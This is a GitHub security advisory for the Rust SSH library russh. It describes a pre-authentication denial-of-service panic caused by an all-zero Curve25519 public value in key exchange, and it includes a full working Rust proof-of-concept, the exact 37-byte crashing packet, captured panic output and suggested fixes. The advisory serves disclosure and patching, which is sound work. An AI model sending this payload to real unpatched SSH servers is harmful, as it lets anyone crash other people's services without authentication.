--- id: GHSA-5xvq-cp9x-6p6r title: >- Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB) summary: >- Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB) severity: medium cvss: 5.3 cwe: - CWE-754 vendor: russh product: russh ecosystem: rust affected: - russh <= 0.62.3 patched: - russh 0.62.4 published: '2026-07-24' updated: '2026-07-24' source: GHSA sourceUrl: 'https://github.com/advisories/GHSA-5xvq-cp9x-6p6r' references: - url: 'https://github.com/Eugeny/russh/security/advisories/GHSA-5xvq-cp9x-6p6r' - url: >- https://github.com/Eugeny/russh/commit/a7fc1eb5717264e31c3c5f7dd849b73989a08f3d - url: 'https://github.com/Eugeny/russh/releases/tag/v0.62.4' - url: 'https://github.com/advisories/GHSA-5xvq-cp9x-6p6r' tags: - ghsa - rust ingestedAt: '2026-07-24T17:34:27.652Z' --- ## Overview A pre-authentication denial-of-service panic in `russh` 0.62.2 (commit `c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as of 2026-07-22). An unauthenticated client sends a single `SSH_MSG_KEX_ECDH_INIT` whose `Q_C` is 32 zero bytes. russh's Curve25519 KEX does not reject the all-zero peer public value, so `server_dh()` computes the all-zero shared secret and `compute_exchange_hash()` then calls `encode_mpint(&shared.0, ...)`, which indexes `s[i]` at `i == s.len()` and **panics** (`index out of bounds: the len is 32 but the index is 32`) **before host-key signature verification**. The server KEX task dies on the first KEX message, before authentication. This is reachable with the **default** server configuration (`Config::default()` → `Preferred::DEFAULT`, whose kex list includes `curve25519-sha256`) and requires **no caller-supplied parameter**. It is reproduced end-to-end against the unmodified real russh 0.62.2 library (a real server + raw TCP client over TCP); the PoC below links the real crate, not a copied snippet. The defect is still present on `main` HEAD (`v0.62.3`, 2026-07-22) and is not covered by any of the 11 published russh GHSA advisories (GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not Curve25519). Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote **denial of service**. ## Details `russh/src/kex/curve25519.rs`, `server_dh()` (server path; attacker = client): ```rust fn server_dh(&mut self, exchange: &mut Exchange, payload: &[u8]) -> Result<(), crate::Error> { // only the 32-byte length is checked, NOT zero / low-order: let mut pubkey = MontgomeryPoint([0; 32]); pubkey.0.clone_from_slice(&payload[5..5 + 32]); // line 73 ... let shared = server_secret * client_pubkey; // all-zero when client_pubkey == [0;32] self.shared_secret = Some(shared); // line 86 Ok(()) } ``` The server then computes the exchange hash **before** verifying the host-key signature (`russh/src/server/kex.rs`): ```rust kex.server_dh(exchange, &input.buffer)?; // line 247 ... let hash = kex.compute_exchange_hash(&pubkey_vec, exchange, &mut buffer)?; // line 274 — panics ``` `compute_exchange_hash()` calls `encode_mpint(&shared.0, buffer)`, whose leading-zero skip loop advances `i` to `s.len()` and then indexes `s[i]` (`russh/src/kex/mod.rs`): ```rust pub(crate) fn encode_mpint(s: &[u8], w: &mut W) -> Result<(), Error> { let mut i = 0; while i < s.len() && s[i] == 0 { i += 1 } // i advances to s.len() for all-zero input if s[i] & 0x80 != 0 { // line 482 — index out of bounds: s[s.len()] ... ``` On Curve25519, `scalar * MontgomeryPoint([0;32])` yields `MontgomeryPoint([0;32])` (the identity element), so the all-zero shared secret is attacker-controlled. RFC 7748 §6 requires implementations to detect and reject all-zero / low-order peer public values and shared secrets; russh does not. The client path (`compute_shared_secret`, curve25519.rs:110-142) has the same chain but is reached only after the server host-key signature is verified, so it requires a malicious server that can sign its own host key (same root cause, lower severity). ## PoC The PoC is a standalone `examples/` binary that links the **unmodified** real russh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK case (all-zero `Q_C` → panic) and a CONTROL case (random `Q_C` → completes kex), proving the panic is caused specifically by the all-zero value. ### One-line reproducer ```bash # Drop the .rs below into russh/examples/ of a checkout of # Eugeny/russh @ c4be19f1915c (tag v0.62.2), then: cargo +stable build --release --example e2e_t13_zero_curve25519 RUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519 ``` ### `russh/examples/e2e_t13_zero_curve25519.rs` ```rust // End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics // russh's SSH exchange-hash computation. // // A real `russh::server` with `Config::default()` (curve25519-sha256 in the // default kex list) + a real Ed25519 host key is started on a TCP listener. // A raw TCP "attacker" client sends: SSH banner -> SSH_MSG_KEXINIT offering // curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes. // The server drives the real path server_dh -> compute_exchange_hash -> // encode_mpint and panics. A CONTROL case with a random Q_C completes kex. use std::sync::atomic::{AtomicBool, Ordering}; use std::sync::Arc; use byteorder::{BigEndian, ByteOrder}; use russh::server::{self, Handler}; use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::net::{TcpListener, TcpStream}; const MSG_KEXINIT: u8 = 20; const MSG_KEX_ECDH_INIT: u8 = 30; // RFC 8731 §3 const MSG_KEX_ECDH_REPLY: u8 = 31; #[tokio::main] async fn main() { println!("=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\n"); let (atk_panic, atk_reply) = run_case(QcKind::AllZero, "ATTACK ").await; println!(); let (ctl_panic, ctl_reply) = run_case(QcKind::Random, "CONTROL").await; println!("\n=== summary ==="); println!("case | server panicked | got ECDH_REPLY"); println!("ATTACK | {atk_panic:<15} | {atk_reply} (Q_C = all-zero)"); println!("CONTROL | {ctl_panic:<15} | {ctl_reply} (Q_C = random non-zero)"); if atk_panic && !atk_reply && !ctl_panic && ctl_reply { println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):"); println!(" A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the"); println!(" all-zero Curve25519 point makes the real russh server panic"); println!(" inside encode_mpint (index out of bounds: len 32, index 32)"); println!(" during compute_exchange_hash, BEFORE host-key verification."); } else { eprintln!("NOT reproduced"); std::process::exit(1); } } enum QcKind { AllZero, Random } async fn run_case(qc: QcKind, label: &'static str) -> (bool, bool) { let panicked = Arc::new(AtomicBool::new(false)); { let flag = panicked.clone(); let prev = std::panic::take_hook(); std::panic::set_hook(Box::new(move |info| { flag.store(true, Ordering::SeqCst); eprintln!("[{label} server task panicked] {info}"); prev(info); })); } // real russh server, DEFAULT config (curve25519-sha256 in the kex list) // + real Ed25519 host key. let mut config = server::Config::default(); config.inactivity_timeout = None; config.auth_rejection_time = std::time::Duration::from_millis(1); config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1)); config.keys.push( russh::keys::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(), ); let config = Arc::new(config); let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); let addr = listener.local_addr().unwrap(); let server_task = tokio::spawn(async move { let (socket, _peer) = listener.accept().await.unwrap(); let session = server::run_stream(config, socket, NoopHandler).await.unwrap(); session.await }); // raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C) let mut s = TcpStream::connect(addr).await.unwrap(); s.write_all(b"SSH-2.0-attacker\r\n").await.unwrap(); s.flush().await.unwrap(); let _server_id = read_ssh_id(&mut s).await.unwrap(); let _server_kexinit = read_packet(&mut s).await.unwrap(); s.write_all(&ssh_packet(&kexinit_payload_curve25519())).await.unwrap(); s.flush().await.unwrap(); let q_c: [u8; 32] = match qc { QcKind::AllZero => [0u8; 32], QcKind::Random => { let mut b: [u8; 32] = rand::random(); if b.iter().all(|&x| x == 0) { b[0] = 1; } b } }; let mut ecdh_init = Vec::new(); ecdh_init.push(MSG_KEX_ECDH_INIT); encode_string(&mut ecdh_init, &q_c); s.write_all(&ssh_packet(&ecdh_init)).await.unwrap(); s.flush().await.unwrap(); let qdesc = match qc { QcKind::AllZero => "all-zero", QcKind::Random => "random" }; println!("[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})"); let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(&mut s)).await { Ok(Ok(pkt)) => { let is_reply = pkt.first() == Some(&MSG_KEX_ECDH_REPLY); println!("[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})", pkt.first()); is_reply } _ => { println!("[{label}] read failed / connection closed (no ECDH_REPLY)"); false } }; let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await; let server_panicked = panicked.load(Ordering::SeqCst); println!("[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}"); let _ = std::panic::take_hook(); (server_panicked, got_reply) } #[derive(Clone)] struct NoopHandler; impl Handler for NoopHandler { type Error = russh::Error; } fn kexinit_payload_curve25519() -> Vec { let mut p = Vec::new(); p.push(MSG_KEXINIT); p.extend_from_slice(&[0u8; 16]); // cookie encode_name_list(&mut p, &["curve25519-sha256"]); // kex encode_name_list(&mut p, &["ssh-ed25519"]); // host key encode_name_list(&mut p, &["chacha20-poly1305@openssh.com"]); // c2s cipher encode_name_list(&mut p, &["chacha20-poly1305@openssh.com"]); // s2c cipher encode_name_list(&mut p, &["hmac-sha2-256"]); // c2s mac encode_name_list(&mut p, &["hmac-sha2-256"]); // s2c mac encode_name_list(&mut p, &["none"]); // c2s compression encode_name_list(&mut p, &["none"]); // s2c compression encode_name_list(&mut p, &[]); // c2s languages encode_name_list(&mut p, &[]); // s2c languages p.push(0); // first_kex_packet_follows = false push_u32(&mut p, 0); // reserved p } fn ssh_packet(payload: &[u8]) -> Vec { let mut padding_len = 8 - ((5 + payload.len()) % 8); if padding_len < 4 { padding_len += 8; } let packet_len = 1 + payload.len() + padding_len; let mut packet = Vec::with_capacity(4 + packet_len); push_u32(&mut packet, packet_len as u32); packet.push(padding_len as u8); packet.extend_from_slice(payload); packet.resize(packet.len() + padding_len, 0); packet } async fn read_packet(stream: &mut TcpStream) -> std::io::Result> { let mut len_buf = [0u8; 4]; stream.read_exact(&mut len_buf).await?; let packet_len = BigEndian::read_u32(&len_buf) as usize; let mut packet = vec![0u8; packet_len]; stream.read_exact(&mut packet).await?; let padding_len = packet[0] as usize; Ok(packet[1..packet.len() - padding_len].to_vec()) } async fn read_ssh_id(stream: &mut TcpStream) -> std::io::Result> { let mut id = Vec::new(); loop { let mut byte = [0u8; 1]; stream.read_exact(&mut byte).await?; id.push(byte[0]); if byte[0] == b'\n' { return Ok(id); } } } fn encode_name_list(buf: &mut Vec, names: &[&str]) { encode_string(buf, names.join(",").as_bytes()); } fn encode_string(buf: &mut Vec, value: &[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); } fn push_u32(buf: &mut Vec, value: u32) { let mut bytes = [0u8; 4]; BigEndian::write_u32(&mut bytes, value); buf.extend_from_slice(&bytes); } ``` Real captured output (ATTACK, `RUST_BACKTRACE=1`): ``` [ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero) [ATTACK server task panicked] panicked at russh/src/kex/mod.rs:482:8: index out of bounds: the len is 32 but the index is 32 thread 'tokio-rt-worker' panicked at russh/src/kex/mod.rs:482:8 stack backtrace: 3: russh::kex::encode_mpint:: 4: ::compute_exchange_hash 5: ::step ... server::reply ... Session::run [ATTACK ] server task panicked = true, got ECDH_REPLY = false [CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true) [CONTROL] server task panicked = false, got ECDH_REPLY = true => CONFIRMED (end-to-end, real russh 0.62.2) ``` The backtrace confirms the real in-library call path on a tokio worker, pre-authentication, before any host-key signature verification. ## Impact **Remote, pre-authentication denial of service of any russh SSH server using the default configuration.** A single 37-byte `SSH_MSG_KEX_ECDH_INIT` (`0x1e` + `0x00000020` + 32 zero bytes) from an unauthenticated client crashes the server's KEX task before authentication. Because the panic is in an async russh task it aborts that connection's handler; depending on the embedder's panic containment it can also tear down the server if the panic is not contained per-connection. A malicious SSH server can symmetrically crash a russh **client** after host-key verification by sending an all-zero `Q_S` in `SSH_MSG_KEX_ECDH_REPLY` (same root cause, lower severity — requires the server to control its own signed host key). No confidentiality/integrity break is demonstrated. The all-zero shared secret would itself be a catastrophic key-compromise if russh did not already crash, but the observed impact is the crash. ### CVSS - `AV:N` — reachable from a remote SSH peer - `AC:L` — requires only a 32-byte all-zero `Q_C` - `PR:N` — pre-authentication - `UI:N` — no user interaction - `C:N`, `I:N` — no confidentiality or integrity impact demonstrated - `A:H` — remote unauthenticated crash of the server KEX task ### Suggested fixes Reject all-zero / low-order Curve25519 peer public values (RFC 7748 §6) in `server_dh()` / `compute_shared_secret()`: ```rust if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); } ``` and harden `encode_mpint` against the all-zero input: ```rust if i == s.len() { return 0u32.encode(w); // all-zero mpint = empty string per RFC 4251 §5 } ``` ### Affected versions - `russh` **<= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered by any of the 11 published russh GHSA advisories. Default `server::Config` and `client::Config` are affected (no feature flag or opt-in). ## Credit Independently reported by [Zhaodl1](https://github.com/Zhaodl1) and the diff/ambidiff security research effort (afldl). ## Affected packages - `russh <= 0.62.3` ## Remediation Upgrade to a patched release: - `russh 0.62.4`